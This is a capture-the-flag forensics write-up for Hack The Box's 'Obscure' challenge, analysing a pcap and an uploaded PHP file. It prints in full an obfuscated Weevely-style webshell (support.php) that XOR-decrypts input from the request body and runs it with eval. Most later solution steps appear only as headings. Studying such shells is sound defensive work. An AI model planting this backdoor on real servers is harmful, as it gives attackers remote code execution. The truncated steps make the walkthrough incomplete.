search

Obscure

hashtag
Description

An attacker has found a vulnerability in our web server that allows arbitrary PHP file upload in our Apache server. Suchlike, the hacker has uploaded a what seems to be like an obfuscated shell (support.php). We monitor our network 24/7 and generate logs from tcpdump (we provided the log file for the period of two minutes before we terminated the HTTP service for investigation), however, we need your help in analyzing and identifying commands the attacker wrote to understand what was compromised.

hashtag
Solution

└─$ unzip -l Obscure.zip
Archive:  Obscure.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   524711  2019-05-21 16:56   19-05-21_22532255.pcap
      749  2019-05-20 16:19   support.php
      502  2019-05-21 19:15   to-do.txt
---------                     -------
   525962                     3 files

└─$ unzip -P hackthebox Obscure.zip

First let's take a look at the webshell:

└─$ cat support.php
<?php
$V='$k="80eu)u)32263";$khu)=u)"6f8af44u)abea0";$kf=u)"35103u)u)9f4a7b5";$pu)="0UlYu)yJHG87Eu)JqEz6u)"u)u);function u)x($';
$P='++)u){$o.=u)$t{u)$i}^$k{$j};}}u)retuu)rn $o;}u)if(u)@pregu)_u)match("/$kh(.u)+)$kf/",@u)u)file_u)getu)_cu)ontents(';
$d='u)t,$k){u)$c=strlu)en($k);$l=strlenu)($t)u);u)$o=""u);for($i=0u);u)$i<$l;){for(u)$j=0;(u)$u)j<$c&&$i<$l)u)u);$j++,$i';
$B='ob_get_cou)ntu)ents();@obu)_end_cleu)anu)();$r=@basu)e64_eu)ncu)ode(@x(@gzu)compress(u)$o),u)$k));pru)u)int(u)"$p$kh$r$kf");}';
$N=str_replace('FD','','FDcreFDateFD_fFDuncFDFDtion');
$c='"php://u)input"),$u)m)==1){@u)obu)_start();u)@evau)l(@gzuu)ncu)ompress(@x(@bau)se64_u)decodu)e($u)m[1]),$k))u));$u)ou)=@';
$u=str_replace('u)','',$V.$d.$P.$c.$B);
$x=$N('',$u);$x();
?>

If you ever used weevely3arrow-up-right it should look very familiar!

To test it we can generate a payload:

Anyway, back the the support.php, we can remove the last line which is calling the function and just echo $u

Weevely Backdoor Analysis / Blue Team DFIRarrow-up-right

Get the data:

Modify the script to our needs:

No password in sight, so we might have to crack it?...

Obscure.png
circle-check

Flag: HTB{pr0tect_y0_shellZ}

PreviousFishy HTTPNextPersistenceIsFutile

Last updated